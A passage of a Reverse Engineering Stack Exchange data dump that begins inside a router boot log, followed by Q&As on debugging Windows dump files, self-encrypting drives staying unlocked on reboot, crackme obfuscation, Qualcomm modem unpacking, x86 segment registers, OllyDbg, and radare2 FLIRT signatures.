size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock3  at dir /backcfg/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock4  mount point is /defcfg/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd4 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock4  at dir /defcfg/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock5  mount point is /log/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd5 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock5  at dir /log/  success\n1192:57:56 [User][Info] [mount_jffs2.c(37)main] mount dev is  /dev/mtdblock6  mount point is /env/\n1192:57:56 [User][Info] [mount_jffs2.c(99)main] mtdInfo: /dev/mtd6 size=1572864, erasesize=131072 bad block count 0 \n1192:57:56 [User][Info] [mount_jffs2.c(161)main] mount dev  /dev/mtdblock6  at dir /env/  success\n1192:58:04 [User][Warn] [ifconfig.c(957)ifconfig] Ioctl failed!SIOCSIFADDR\n1192:58:04 [OSS][Notice] [pc.c(1907)initPCFd] open /dev/ptyp0 success.\n\n(none) \nPID:  344\n\n1192:58:09 [User][Info] [db_shm_mgr.c(109)DBShmSrvInit] iShmId:32769\n1192:58:09 [User][Info] [db_shm_mgr.c(124)DBShmSrvInit] pShmBuf:60000000\n[log_file.c(1704)ProcLogConf] Set LOG_FILE_CONF_SET_PDTCONF.\n[log_file.c(1768)ProcLogConf] Set cAutoSave = 1\n[log_filesave.c(176)CheckLogConfFile] File not exist: filename(/log/flag_usrfs), Cnt=40\n1192:58:10 [dhcps][Info] [dhcps.c(160)DHCPSInit] module init success!dhcp server\n1192:58:10 [dhcp4c][Warn] [dhcp4c_inst.c(4402)_dhcp4cRegSendO] Send code[60]fun[0x58fbf4] is replaced by fun[0x594d60]\n1192:58:10 [monitor][Info] [cspd_monitor.c(422)MonitorMain] monitor init success\n1192:58:10 [PingTracert_mgr][Info] [tracert_mgr.c(1107)tracertInit] module init success!tracert mgr\n1192:58:10 [ethlinkvlan][Info] [ifs_ethlinkvlan(2313)linkifMain] IfsMain recv event(4352) msgptr((nil)) len(0)\n1192:58:10 [ethlinkvlan][Info] [ifs_ethlinkvlan(2181)linkifAsynmsg] lpMsg == NULL\n1192:58:10 [ppp_mgr][Info] [ppp_mgr.c(6398)PPPInit] module init success!\n1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(2102)ifsIPIFMain] IfsMain recv event(0x1100) msgptr((nil)) len(0)\n1192:58:10 [ipif_mgr][Info] [ipv4_addr_mgr.c(1294)ipv4AddrInit] [ipv4AddrInit] success\n1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(2085)ifsIPIFInit] [ifsIPIFInit] success\n1192:58:10 [ipif_mgr][Info] [ifs_ipif.c(1910)ifsAsynmsg] unknown ASynMsg!msg id = 4352\n1192:58:10 [addr6_mgr][Info] [addr6_mgr.c(3429)Addr6Main] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [prefix_mgr][Info] [prefix_mgr.c(3223)prefixInit] Prefix Init Success!\n1192:58:10 [bridge][Info] [bridge.c(2161)bridgeInit] module init success!(bridge_mgr)\n1192:58:10 [eth_mgr][Info] [eth_mgr.c(1847)ethInit] module init success!ethernet mgr\n1192:58:10 [htat_mgr][Info] [htat_mgr.c(2075)htatInit] module init success!htat_mgr init\n1192:58:10 [dsl_mgr][Info] [dsl_mgr.c(3468)dsl_init] dsl init ok\n1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4252)xtmInit] [xtmInit] start\n1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4278)xtmInit] xtm init ok\n1192:58:10 [xtm_mgr][Info] [xtm_mgr.c(4280)xtmInit] xtm support dynamic add/del interface\n1192:58:10 [ptry_mgr][Info] [ptry_mgr.c(478)ptryMgrInit] module init success!(PTry mgr)\n1192:58:10 [route_mgr][Info] [policy_route.c(1646)policyRtTableIn] policyRtTableInit ok\n1192:58:10 [route_mgr][Info] [policy_route.c(1561)defPolicyRtChai] defPolicyRtChainInit ok\n1192:58:10 [route_mgr][Info] [rip_mgr.c(39)RIPInit] Common Info: rip init\n1192:58:10 [route_mgr][Info] [ripng_mgr.c(39)RIPngInit] Common Info: ripng init\n1192:58:10 [route_mgr][Info] [route_mgr.c(802)routeInit] SubScribPublish DefGW Service OK\n1192:58:10 [binding_mgr][Info] [binding_mgr.c(1666)bindingInit] [bindingInit] end\n1192:58:10 [qos_mgr][Info] [qos_default_qdi(2246)RegisterDefault] RegisterDefaultIFQdisc. IF WAN&amp;DEV.BRIDGING.BR1.BRPORT, Qdisc CSPDefSPWRRWFQ\n1192:58:10 [qos_mgr][Info] [interface_api.c(1560)RegisterNetIFNo] RegisterNetIFNotify start, event[6] IF_ID[] WanLan[3] Handle[0x4c42dc]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1603)RegisterNetIFNo] Reg NetIF Notify ok, IF_ID[], WanLan[3], pHandle[0x4c42dc], Event[6]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1560)RegisterNetIFNo] RegisterNetIFNotify start, event[6] IF_ID[DEV.PTM.LINK1] WanLan[3] Handle[0x4c4088]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1573)RegisterNetIFNo] IF_ID Not Null[DEV.PTM.LINK1]\n1192:58:10 [qos_mgr][Info] [interface_api.c(1603)RegisterNetIFNo] Reg NetIF Notify ok, IF_ID[DEV.PTM.LINK1], WanLan[3], pHandle[0x4c4088], Event[6]\n1192:58:10 [sntp_mgr][Info] [time_policy.c(101)TpInit] module init success!3\n1192:58:10 [sntp_mgr][Info] [sntp_mgr.c(1694)sntpInit] module init success!SNTP mgr\n1192:58:10 [ddns_mgr][Info] [ddns_mgr.c(1539)ddnsInit] module init success!ddns_mgr\n1192:58:10 [dns_mgr][Info] [dns_mgr.c(437)dnsInit] SubScribPublish NetIF Service OK\n1192:58:10 [dns_mgr][Info] [comp_dns_mgr.c(76)CompDnsInit] Init Comp_Dns_Mgr Success!\n1192:58:10 [fm_mgr][Info] [fm_mgr.c(2641)fmServerInit] module init success!Enter FmServer Init!\n1192:58:10 [fm_mgr][Info] [fm_mgr.c(4236)fmMgrInit] module init success!fm mgr\n1192:58:10 [tr143_mgr][Info] [tr143_mgr.c(547)tr143Init] module init success!tr143 mgr\n1192:58:10 [ipv6_tunl_mgr][Info] [ipv6_tunl_mgr.c(416)IPv6TunlMgrMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1851)TunnelMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1617)TunnelMgrInit] [TunnelMgrInit] start\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl46_mgr.c(1622)TunnelMgrInit] [TunnelMgrInit] OK\n1192:58:10 [ipv6_tunl_mgr][Info] [tunl64_mgr.c(1826)Tunl64Main] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [fon_mgr][Info] [fon_mgr.c(3915)FonMain] wEvent=0x1100, wMsgType=1, wMsgLen=0, wState=0\n1192:58:10 [ipif_mgr][Info] [ifs_netif.c(2579)interfaceNotify] [interfaceNotifyHook] start, to pid[10103]\n1192:58:10 [ipif_mgr][Info] [ifs_netif.c(2579)interfaceNotify] [interfaceNotifyHook] start, to pid[10103]\n1192:58:10 [DB][Error] [dbc_mgr_tbl.c(494)dbCreateDomainN] create table fail (ParentControlUser) domain(FilterMode) error default value\n1192:58:10 [DB][Info] [dbc_tbl_wol_inf(18)dbCreateWolInfo] call dbCreateWolInfoTbl\n1192:58:10 [DB][Error] [dbc_def_dev_inf(176)setVerNumFromFi] /etc/ver_num_des file open error!\n1192:58:10 [DB][Warn] [dbc_mgr_tbl.c(1662)dbSetValComm] not find domain table(WLANBase) domain(AutoChannelFrom)\n1192:58:10 [DB][Warn] [dbc_mgr_tbl.c(1662)dbSetValComm] not find domain table(WLANBase) domain(AutoChannelTo)\n1192:58:10 [DB][Error] [dbc_mgr_def.c(79)dbMgrStaticSetI] not find table (PDTWLANWAPI)\n1192:58:10 [DB][Info] [dbc_def_wol_inf(22)dbDefWolInfo] call dbDefWolInfo\n1192:58:10 [DB][Info] [dbc_init_pdt_in(2485)dbCheckSingleCf] DB Decry cfg end (iRet: 0)\n1192:58:10 [DB][Warn] [dbc_mgr_file_xm(1688)_dbXMLTblChk] load database failed table(L2BAvailIF) cut or exceed max row or unequal row.\n1192:58:10 [DB][Warn] [dbc_mgr_file_xm(1688)_dbXMLTblChk] load database failed table(BrFilter) cut or exceed max row or unequal row.\n1192:58:11 [DB][Info] [dbc_person_teln(66)dbPersonInitTel] set password\n1192:58:11 [DB][Info] [dbc_mgr_file.c(1250)dbFileLoadCfg] find file /var/tmp/db_Decry_cfg.xml\n1192:58:15 [DB][Info] [dbc_mgr_file.c(2290)dbInitSignVal] szCfgSignVal= Speedport Entry 2i,iRet:0\n1192:58:15 [DB][Info] [dbc_init_pdt_in(1636)_PdtDBTransferC] [_PdtDBTransferCfg] dwFlagVerNum=12, dwFlagVerNumExt=5\n1192:58:15 [DB][Info] [dbc_core.c(1249)dbEndTm] (ALL) end, use 455 tick\n1192:58:15 [OSS][Warn] [oss_sche.c(868)RunProcess] RunProcess process[DB] Event[0x1100] dwUsedTicks[483]\n----------------------------------------------[log_file.c(1444)ProcLogConf] Set SaveEnable=1\n1192:58:15 [dhcp6s][Info] [ipif_api.c(2190)RegAddr6Notify] RegAddr6Notify start, event[3] IF_ID[] WanLan[2] Handle[0x59cdc8]\n1192:58:15 [PingTracert_mgr][Info] [tracert_mgr.c(1134)tracertStart] module start success!tracert mgr\n1192:58:15 [srm_mgr][Info] [srm_mgr.c(228)SrmInit] module init success!use SRM_DBVIEW data\n1192:58:15 [adev_mgr][Info] [extend_options.(121)CspAddParseOptP] \n</code></pre>\n"
    },
    {
        "Id": "16301",
        "CreationDate": "2017-09-08T17:56:57.220",
        "Body": "<p>Which program would you success to open a Windows 10 <code>.DMP</code> file.</p>\n\n<p>I've tried OllyDbg110(32Bit)\nbut this is the result:</p>\n\n<p><a href=\"https://i.stack.imgur.com/rcCHx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/rcCHx.png\" alt=\"error msg\"></a></p>\n\n<p>Do I have to use a 64bit debugger or am I on a totally wrong route?</p>\n",
        "Title": "Opening Windows 10 DMP file",
        "Tags": "|windows|debugging|memory-dump|",
        "Answer": "<p>As stated in <a href=\"https://reverseengineering.stackexchange.com/a/3433/18014\">this</a> RE answer OllyDbg can't be used directly to analize dumps. </p>\n\n<p>You should use either <a href=\"https://www.microsoft.com/en-us/store/p/windbg-preview/9pgjgd53tn86?SilentAuth=1&amp;wa=wsignin1.0\" rel=\"nofollow noreferrer\">WinDbg</a>(this Preview or old version) or <a href=\"https://www.visualstudio.com/\" rel=\"nofollow noreferrer\">VisualStudio</a>. They can load .DMP files directly and allow anlyzing them.</p>\n"
    },
    {
        "Id": "16317",
        "CreationDate": "2017-09-10T23:37:11.343",
        "Body": "<p>I was reading about BIOS and I saw this:</p>\n\n<blockquote>\n  <p>Next, BIOS will begin checking memory at 0000:0472h. This address contains a flag which will tell the BIOS if the system is booting from a cold boot or warm boot.</p>\n</blockquote>\n\n<p>As you can see, it tells that the BIOS has 2 types to check the booting process. It says when the BIOS finds a warm boot (value 1234h) it will skip the POST routines remaining, however if the BIOS finds a cold boot, the remaining POST routines will be run.</p>\n\n<p>Now, supposing that I have a password in the startup (user password set in the BIOS) of the system and a hard disk.</p>\n\n<p>When I power up the computer, this means that the BIOS will read for a cold boot and will run the remaining POST routines, and of course will ask for the user's and hard disk's password. But when I reboot the system from the operating system (in this case, a Linux distribution), why doesn't the BIOS requests for the hard disk's password? Does this means that the BIOS is reading now a warm boot?</p>\n",
        "Title": "Why BIOS is not asking for HDD password on reboot but only after power off?",
        "Tags": "|bios|",
        "Answer": "<p>Your quote is about the old legacy BIOS (16-bit). Nowadays most BIOSes implement <a href=\"http://www.uefi.org/\" rel=\"nofollow noreferrer\">UEFI</a>-compliant firmware, which works in a pretty different way. The <a href=\"https://www.trustedcomputinggroup.org/wp-content/uploads/TCG_Storage_ReferenceDocument_Opal_Integration_Guidelines_v1.00_r1.14_publicreview.pdf\" rel=\"nofollow noreferrer\">Opal specification</a> published by TCG, describes how the UEFI firmware interacts with self-encrypting harddrives.\nHowever, it seems your scenario is not really BIOS-related. According to <a href=\"https://wiki.archlinux.org/index.php/Self-Encrypting_Drives\" rel=\"nofollow noreferrer\">ArchLinux wiki on the topic </a>:</p>\n\n<blockquote>\n  <p>Typical self-encrypting drives, once unlocked, will <strong>remain unlocked\n  as long as power is provided</strong>. This vulnerability can be exploited by\n  means of altering the environment external to the drive, without\n  cutting power, in effect keeping the drive in an unlocked state. For\n  example, it has been shown (by researchers at Universiy of\n  Erlangen-Nuremberg) that it is possible to reboot the computer into an\n  attacker-controlled operating system without cutting power to the\n  drive. The researchers have also demonstrated moving the drive to\n  another computer without cutting power</p>\n</blockquote>\n\n<p>So it's probably the drive itself, and not the BIOS/firmware, which is caching the password on warm reboot.</p>\n\n<p>Other references:</p>\n\n<ul>\n<li><p><a href=\"http://www.uefi.org/sites/default/files/resources/UEFI_Plugfest_JBOBZIN_2012Q1_V2.pdf\" rel=\"nofollow noreferrer\">UEFI Plugfest: Strategies for Firmware Support of Self-Encrypting Drives</a></p></li>\n<li><p>EDK2's <a href=\"https://github.com/tianocore/edk2/tree/master/SecurityPkg\" rel=\"nofollow noreferrer\">SecurityPkg</a> implements various Opal-related functionality, e.g. <a href=\"https://github.com/tianocore/edk2/tree/master/SecurityPkg/Tcg/Opal\" rel=\"nofollow noreferrer\">1</a>, <a href=\"https://github.com/tianocore/edk2/tree/master/SecurityPkg/Library/OpalPasswordSupportLib\" rel=\"nofollow noreferrer\">2</a></p></li>\n</ul>\n"
    },
    {
        "Id": "16322",
        "CreationDate": "2017-09-11T18:18:54.797",
        "Body": "<p>I am currently analysing some crackme with Olly and IDA. Initially it was packed. I managed to find the OEP (a JMP soon after POPAD and right before a bunch of nulls):</p>\n\n<pre><code>0040E978    .  53                    PUSH    EBX\n0040E979    .  57                    PUSH    EDI\n0040E97A    .  FFD5                  CALL    NEAR EBP\n0040E97C    .  58                    POP     EAX\n0040E97D    .  61                    POPAD\n0040E97E    .  8D4424 80             LEA     EAX, DWORD PTR SS:[ESP-80]\n0040E982    &gt;  6A 00                 PUSH    0\n0040E984    .  39C4                  CMP     ESP, EAX\n0040E986    .^ 75 FA                 JNZ     SHORT crackme_.0040E982\n0040E988    .  83EC 80               SUB     ESP, -80\n0040E98B    .- E9 7062FFFF           JMP     crackme_.00404C00\n0040E990       00                    DB      00\n0040E991       00                    DB      00\n0040E992       00                    DB      00\n</code></pre>\n\n<p>But I might have done something incorrectly or, may be, it's some sort of obfuscation technique, cause the unpacked program is full of something like that:</p>\n\n<pre><code>                lea     ecx, ds:2186C225h ; Load Effective Address\nUPX0:00403042   mov     ebx, 0C11A8EBBh\nUPX0:00403047   lea     ebx, [ebx-6CFE17B8h] ; Load Effective Address\nUPX0:0040304D   add     ecx, ecx        ; Add\nUPX0:0040304F   lea     ebx, [eax-68FB1E76h] ; Load Effective Address\nUPX0:00403055   sub     ecx, eax        ; Integer Subtraction\nUPX0:00403057   lea     eax, [ebp-6Ch]  ; Load Effective Address\nUPX0:0040305A   push    eax\nUPX0:0040305B   call    $+5             ; Call Procedure\nUPX0:0040305B   \nUPX0:00403060   pop     eax\nUPX0:00403061   add     eax, 0Ah        ; Add\nUPX0:00403064   push    eax\nUPX0:00403065   jmp     loc_408EF0      ; Jump\n</code></pre>\n\n<p>What confuses me most (other than UPX prefix, although it seems to be unpacked), are instructions like these:</p>\n\n<pre><code>UPX0:00403047   lea     ebx, [ebx-6CFE17B8h] ; Load Effective Address   \nUPX0:0040304F   lea     ebx, [eax-68FB1E76h] ; Load Effective Address\n</code></pre>\n\n<p>Moreover, throughout the code there are lots of call-jumps, that point to the next instruction, rather than somewhere else in the code (which is much more common): </p>\n\n<pre><code>0040327B     50                      PUSH    EAX\n0040327C     E8 00000000             CALL    crackme2.00403281\n00403281     58                      POP     EAX\n...\n0040321A     50                      PUSH    EAX\n0040321B     8B45 08                 MOV     EAX, DWORD PTR SS:[EBP+8]\n0040321E     50                      PUSH    EAX\n0040321F     E8 00000000             CALL    crackme2.00403224\n00403224     58                      POP     EAX\n</code></pre>\n\n<p>How common is that?</p>\n\n<p>I thought, that may be I did the unpacking wrongly, but the program seems to work properly. My next though was that it might be self-modifying, but when I put BP on GetWindowTextA, where first, last names and serial are loaded, and then go through the code, it doesn't seem to be changing. </p>\n\n<p>Is it possible, that there are addresses like this?: </p>\n\n<pre><code>lea     ecx, ds:2186C225h ; Load Effective Address\n...\nlea     ebx, [eax-68FB1E76h] ; Load Effective Address\n</code></pre>\n\n<p>Or may be there is something wrong with the OllyDbg's interpretation of the code?</p>\n\n<p>Thank you in advance!</p>\n",
        "Title": "Weird looking assembly-code bunch",
        "Tags": "|ida|disassembly|assembly|ollydbg|crackme|",
        "Answer": "<p>If you follow the flow, you will see that the result of the first \"lea ebx, []\" is replaced by the result of the \"lea ebx, []\", with no intervening use of ebx.  While they can serve a meaningful purpose (consider position-independent code), that's not their use here.  These are garbage instructions that exist only to confuse someone looking at the disassembly.</p>\n\n<p>As far as the call to the next instruction, the call saves on the stack the pointer to the return address, so popping that value into a register will allow the code to know its location in memory.  That can be for the purpose of position-independent code, or just a way to avoid using constants to make the disassembly more difficult.</p>\n"
    },
    {
        "Id": "16330",
        "CreationDate": "2017-09-12T17:28:06.433",
        "Body": "<p>Im trying to disassemble a qualcomm QDSP6 modem file. According to the ELF header, there should be 26 sections(modem.b00-b25). However after dumping the device, b.16,b.17,b.25 are missing, making the file impossible to open with IDA.</p>\n\n<p>The device is an Alcatel 4060-A. I have full access to the phone's emmc via usb download mode, also tried dumping the same modem partition via ADB. Same result, the partition is missing those 3 sections. Even reading the raw unpacked file in a hex editor, there is no mention of those 3 elf sections</p>\n\n<p>Any suggestions?</p>\n",
        "Title": "Need help disassembling Qualcomm QDSP6",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>for decompressing RO or RW sections,\nI recommend using the utilities from the sources.\nq6zip_ro_uncompress.py or rw_decompress_file.py</p>\n\n<p>universal method of unpacking - doesn't exist,\neven on one chipset, the algorithm, like add q6zip, or RO dictionary size can change.\nso, better has the same version of sources.</p>\n\n<p>I can't give a more accurate answer,\nbecause while I was olny decompress the few RO section,\nRW - unpacked with errors.</p>\n\n<p>unpack is better on Linux. and sources need recompile.</p>\n\n<p>I also recommend trying to swith the device into download mode, and just dump the memory. although I'm not sure that there will be all the unpacked blocks, but worth a try.</p>\n\n<p>I now have a similar problem with MDM9230, TCL(alcatel) Y900NB, I don't even know what version of dlpager is used (( and  I can't unpack it too.\n(i haven't HW, I just work with SW)</p>\n\n<p>in principle, all the above just flooding, I only want to ask Willem Hengeveld, maybe he will tell something more, but need rep 50 for comment, so need answer ))</p>\n"
    },
    {
        "Id": "16336",
        "CreationDate": "2017-09-13T19:51:03.753",
        "Body": "<p>As far as I know those segments are <code>extra</code> or <code>general</code>. But at which part of program memory they are actually pointing? If I undestand it correctly <code>DS</code> is poining at entry point of Dump, <code>SS</code> stands for Stack, what is happening with those leftovers from Intel conception.\n<a href=\"https://i.stack.imgur.com/4n9sd.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/4n9sd.png\" alt=\"Registers\"></a></p>\n\n<p>Those are my registers using <code>Ollydbg</code>, how can I predict what will be moved into EAX?</p>\n\n<pre><code>MOV EAX, DWORD PTR FS:[0]\n</code></pre>\n",
        "Title": "Where ES/GS/FS are pointing to?",
        "Tags": "|windows|assembly|ollydbg|x86|",
        "Answer": "<p>On x86 32bit windows the <code>FS</code> segment register points to a structure called the <a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow noreferrer\">Thread Information Block</a> or the TIB for short. This structure is created by the kernel on thread creation and is used to support OS related functionalities, services and APIs.</p>\n<p>Examples of data TIB usage are:</p>\n<ol>\n<li>Thread Local Storage.</li>\n<li>the Heap.</li>\n<li>the Stack.</li>\n<li>SEH exception chain.</li>\n<li>Access to the Process Environment Block (which serves a similar, process level goal).</li>\n</ol>\n<p>And many other...</p>\n<p>To predict the actual value of a dereference into the <code>FS</code> register, you'll need to consult a mapping of that (only partially documented) structure for the specific OS version you're working with. For example, the <a href=\"https://en.wikipedia.org/wiki/Win32_Thread_Information_Block\" rel=\"nofollow noreferrer\">TIB</a> wikipedia page I mentioned earlier describes a 32bit windows TIB layout.</p>\n<p>On linux the <code>GS</code> register is used for a similar purpose regardless of register size, and 64bit intel windows uses both the <code>FS</code> and <code>GS</code> registers.</p>\n<p>The information stored in the TIB should not be used directly by programs, how ever specific members of the structure often are used for unintended purposes such as detecting debuggers in more prevalent ways.</p>\n<p>As you can see, other segment registers are rarely used.</p>\n<h1>A bit of history</h1>\n<p>Although the segment registers are used for OS-related functionality, that was not the intended goal segment registers were made for. In the past, when CPU register sized varied between 8 and <a href=\"https://en.wikipedia.org/wiki/16-bit\" rel=\"nofollow noreferrer\">16 bit</a>, addressing was highly limited and only 64KB of address space was available. Since original CPUs were only running in Real Mode (and not <a href=\"https://en.wikipedia.org/wiki/Protected_mode\" rel=\"nofollow noreferrer\">Protected Mode</a>), that address space had to be shared with all running services, processes, connected peripherals, etc...</p>\n<p>To bypass that limitation, the <a href=\"https://en.wikipedia.org/wiki/X86_memory_segmentation\" rel=\"nofollow noreferrer\">Memory Segmentation</a> was brought into use in two forms. One was Protected Mode VS Real Mode, and the other was the segment registers - which were used as an offset for the actual registers being used for addressing. This allowed a greatly increased addressing range and was considered a valid solution. In the days of 32bit protected mode processors, where 4GB of Virtual Addressable Space is available to each process, and certainly with 64 bit CPUs, the segment registers are rarely used for their original goal (except for highly low level components such as Real Mode boot loaders, which might still need the extra addressing).</p>\n<p>P.S.</p>\n<p><code>DS</code> stands for <em>Data</em> Selector.</p>\n"
    },
    {
        "Id": "16341",
        "CreationDate": "2017-09-15T04:06:37.010",
        "Body": "<p>I have the line</p>\n\n<pre><code>CMP BYTE PTR DS:[EAX+1620], 0\n</code></pre>\n\n<p>How do I find the memory address of <code>EAX+1620</code> so I can monitor it in ollydbg? I click it and nothing helpful comes up in the context box at the bottom of the window.</p>\n\n<p>Screenshot here, unnecessary info obscured:</p>\n\n<p><a href=\"https://i.stack.imgur.com/E9trU.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/E9trU.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>Using <code>Follow in Dump</code> -> Selection on this line will take me to address <code>00A9612A</code>, but I need to find <code>EAX+1620</code></p>\n",
        "Title": "How do I find address of a global variable in Ollydbg?",
        "Tags": "|ollydbg|address|",
        "Answer": "<p>if eax is valid address you can follow in dump from the information pane \n(small pane between cpu window and dump window)</p>\n\n<p>see screen shot </p>\n\n<p><a href=\"https://i.stack.imgur.com/QMcLY.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/QMcLY.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "16354",
        "CreationDate": "2017-09-16T18:17:29.000",
        "Body": "<p>I'm pretty new to reverse engineering, and I have several times seen that programs make requests to certain websites with specific host names. </p>\n\n<p>I tried to use a debugger and checked for the URL it posts to as binary string (referenced strings) and in the memory map but surprisingly I found nothing. The URL must be there some where after all the program knows how to send data to a specific host.</p>\n\n<p>How do I find and change this URL?</p>\n",
        "Title": "Change URL a program sends data to",
        "Tags": "|disassembly|decompilation|exe|",
        "Answer": "<p>The best way to find this URL is looking into EXE with disassembler like IDA(you can use free version for this).</p>\n\n<p>It will disassemble EXE and then you can search for this string. If URL really isn't in the file, then you must locate function that is sending informations to the website. The best way is look for functions that are using Windows' network API. Then place some breakpoints to look what function is this one you are looking for. And now trace down the URL variable. Look where it came from, is it loaded from file, or registry, or anything else.</p>\n\n<p>Now when you know where is the URL in-file you can change it with hex editor(if it is hardcoded, or change the file/registry).</p>\n\n<p>Note that you need a basics of assembler to do it.</p>\n\n<p>Or the fast(and not too good) way is to change hosts file :)</p>\n"
    },
    {
        "Id": "16355",
        "CreationDate": "2017-09-16T19:07:59.633",
        "Body": "<p>As the question says I need to reverse a stripped elf binary with <code>radare2</code>. This binary is also statically linked. I already reversed it in IDA by identifying statically linked libraries using <code>lscan</code> and importing the <code>.sig</code> files provided by <code>lscan</code> into IDA in order to resolve function names.  </p>\n\n<p>I don't know how to import these files to <code>radare2</code>. Also I don't know if the same solution applies to <code>radare2</code>.</p>\n",
        "Title": "reversing stripped & statically linked binary with radare2",
        "Tags": "|binary-analysis|elf|radare2|",
        "Answer": "<p>Seems like <code>lscan</code> is written to work with <code>IDA</code>. However, <code>lscan</code> is based on <code>FLIRT</code> signature files which can be also read by radare2 (See the <em>Zignatures</em> section of this answer). There are several things you can do with <code>radare2</code> to achieve similar results:</p>\n\n<h2>Import IDA databases to radare2</h2>\n\n<p>You can easily import IDC and IDB files from IDA to radare2 using a simple scripts which exists in <a href=\"https://github.com/radare/radare2ida\" rel=\"noreferrer\">radare2ida</a> repository.</p>\n\n<blockquote>\n  <p>This repository contains a collection of documents, scripts and\n  utilities that will allow you to use IDA and R2, converting projects\n  metadata from one tool to the other and providing tools to integrate\n  them in a more useful way.</p>\n</blockquote>\n\n<p><strong>Export from IDA</strong>  </p>\n\n<p>To export IDA database to IDC file click on <code>File &gt;&gt; Produce file &gt;&gt; Dump databse to IDC file...</code></p>\n\n<p>To save the current databse as an IDB file click <code>File &gt;&gt; Take database snapshot...</code> or use the shortcut <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>W</kbd></p>\n\n<p><strong>Import to Radare2</strong></p>\n\n<p>To import the IDC metadata to radare2 use <a href=\"https://github.com/radare/radare2ida/blob/master/ida2r2/idc2r.py\" rel=\"noreferrer\">idc2r.py</a> which shipped with <code>radare2ida</code>:   </p>\n\n<pre><code>idc2r.py file.idc &gt; file.r2\n</code></pre>\n\n<p>The command reads an IDC file exported from an IDA Pro database and produces an r2 script containing the same comments, names of functions etc. You can import the resulting <code>file.r2</code> by using the dot <code>.</code> command of radare:  </p>\n\n<pre><code>[0x00000000]&gt; . file.r2\n</code></pre>\n\n<p>The <code>.</code> command is used to interpret radare commands from external sources, including files and program output. For example, to omit generation of an intermediate file and import the script directly you can use this combination:</p>\n\n<pre><code>[0x00000000]&gt; .!idc2r.py &lt; file.idc\n</code></pre>\n\n<h2>Zignatures</h2>\n\n<p>radare2 has its own format of the signatures called <code>Zignatures</code>, allowing to both load/apply and create signatures on the fly. They are available under the <code>z</code> command namespace:</p>\n\n<pre><code>[0x00000000]&gt; z?\n|Usage: z[*j-aof/cs] [args] # Manage zignatures\n| z            show zignatures\n| z*           show zignatures in radare format\n| zj           show zignatures in json format\n| z-zignature  delete zignature\n| z-*          delete all zignatures\n| za[?]        add zignature\n| zo[?]        manage zignature files\n| zf[?]        manage FLIRT signatures\n| z/[?]        search zignatures\n| zc           check zignatures at address\n| zs[?]        manage zignspaces\n</code></pre>\n\n<p>The <code>zf</code> subcommands can be handy whenever you deal with FLIRT signatures. Therefore you can import FLIRT signatures from a file:</p>\n\n<pre><code>[0x00000000]&gt; zf?\n|Usage: zf[dsz] filename # Manage FLIRT signatures\n| zfd filename  open FLIRT file and dump\n| zfs filename  open FLIRT file and scan\n| zfz filename  open FLIRT file and get sig commands (zfz flirt_file &gt; zignatures.sig)\n</code></pre>\n\n<p>Regardless of FLIRT, you can also use <code>zos [filename]</code> from radare2 to dump signatures to a sdb file and <code>zo [filename]</code> to load it.</p>\n\n<h2>Source Code</h2>\n\n<p>As similar to <code>list</code> command of <code>dgb</code>, radare allows you to print lines from a source code file. Here's an example:</p>\n\n<pre><code>$ gcc -m32 -g megabeets.c -o megabeets.bin\n$ r2 megabeets.bin\n[0x08048420]&gt; aa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[0x08048420]&gt; s main\n[0x080486cd]&gt; CL\nfile .//megabeets.c\nline 36\n  022\n  023  int main(int argc, char *argv[])\n&gt; 024  {\n  025      char *input;\n  026      puts(\"Megabeets\\n\");\n</code></pre>\n\n<blockquote>\n  <p>The <code>C</code> command is used to manage comments and data conversions. You\n  can define a range of program's bytes to be interpreted as either\n  code, binary data or string. It is also possible to execute external\n  code at every specified flag location in order to fetch some metadata,\n  such as a comment, from an external file or database.</p>\n</blockquote>\n\n<hr>\n\n<p>To know more I recommend you to read:</p>\n\n<ul>\n<li><a href=\"https://radare.gitbooks.io/radare2book/content/disassembling/adding_metadata.html\" rel=\"noreferrer\">Adding Metadata to Disassembly</a> from radar2book </li>\n<li><a href=\"https://radare.gitbooks.io/radare2book/content/signatures/zignatures.html\" rel=\"noreferrer\">Zignatures</a> chapter from radare2book</li>\n<li><a href=\"http://radare.today/posts/zignatures/\" rel=\"noreferrer\">This post</a> about Zignatures</li>\n<li><a href=\"https://github.com/radare/radare2/blob/master/doc/flirt\" rel=\"noreferrer\">radare2 and flirt</a></li>\n<li><a href=\"https://github.com/Maktm/FLIRTDB\" rel=\"noreferrer\">A community driven collection of IDA FLIRT signature files</a></li>\n</ul>\n"
